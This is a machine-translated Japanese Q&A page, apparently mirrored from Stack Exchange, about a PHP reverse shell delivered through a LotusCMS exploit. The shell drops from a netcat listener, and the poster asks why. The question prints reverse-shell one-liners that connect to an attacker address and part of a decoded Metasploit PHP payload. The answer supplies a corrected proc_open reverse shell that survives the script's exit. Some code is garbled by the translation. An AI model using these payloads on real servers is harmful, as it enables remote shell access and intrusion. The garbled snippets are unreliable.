web-dev-qa-db-ja.com

リバースPHPシェルがnetcatリスナーのときに切断する

テストボックスで侵入テストを実行しているときに、LotusCMSに関する脆弱性に遭遇しました: https://www.exploit-db.com/exploits/18565

MetasploitまたはMeterpreterを利用してこのエクスプロイトを実行するのではなく、Metasploitコードを読んで、それがWebページ内のパラメーターをどのように悪用しているかを正確に判断しました。インラインPHP=コード(私の攻撃ボックスにnetcatリスターを使用)を使用しようとすると):

sock = fsockopen( "x.x.x.x"、1234); exec( "/ bin/sh -i <&3>&3 2>&3");

シェルはnetcatリスナーに接続しますが、すぐに削除されます。

Netcatがリバースシェルを落とす理由を誰かが説明できますか?

確かに、stdin、stdout、およびstderrに関する私の知識は存在しませんか?これは接続の切断に関係するものでしょうか?

上記のインライン逆シェルスクリプトでもbase64を使用しています(これが何かに影響するかどうかはわかりません)。

前もって感謝します!

これはMetasploitペイロードのコードです(base64からデコード)。

/*<?php /**/ error_reporting(0); $ip = '192.168.0.82'; $port = 1337; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("base64: invalid input
1
Sn00py

サーバーで実行しています:

$sock=fsockopen("127.0.0.1",1234);
exec("/bin/sh -i <&3 >&3 2>&3");

同時に、1234でnetcatをリッスンしています。

私が最初に目にする問題は、サーバーコードは次のとおりです。

  • ip:portへの接続
  • 入力と出力をfd 3にリダイレクトして/ bin/sh -iを実行し、最後の行を返します( php execShell/C exec を混同しないでください)。

これで、開かれた接続にfd 3があった場合、シェルはその記述子に接続します。次に開く記述子はfd 3です。ただし、すでに開いている場合、新しい接続には別の記述子があり、シェルは開きません。どこでも差し込みます。たとえば、上記のコードはcliでphpを実行している場合はmiで機能しますが、phpがApacheモジュールとして実行されている場合は機能しません(ソケットは私にとってfd 12です)。

この長いコマンドを使用して、最上位のファイル記述子を見つけ、リダイレクトで使用できます。

 passthru('FD=`ls /proc/self/fd | sort -rn | while read FD; do test -S /proc/self/fd/$FD && echo $FD && break; done`; /bin/sh -i <&$FD >&3 2>&$FD');

ただし、これにはシェル 記述子1-9のみをリダイレクトできる であるため、記述子12では「<&12」は実際には12ではなく記述子1をリダイレクトしようとするという欠点があります。 、/ dev/self/fd/12への新しい記述子を開くことはできません(そのようなデバイスまたはアドレスはありません)

したがって、シェル内のスクリプトにファイル記述子をアタッチするよりも、コマンドを実行するために別の関数を使用することにより、php側から実行する方がはるかに簡単です。

$sock = fsockopen("127.0.0.1",1234);
$proc = proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);

興味深いことに、囲んでいるスクリプトが終了した後もシェルは開いたままなので、php max_execution_timeは問題になりません。

2
Ángel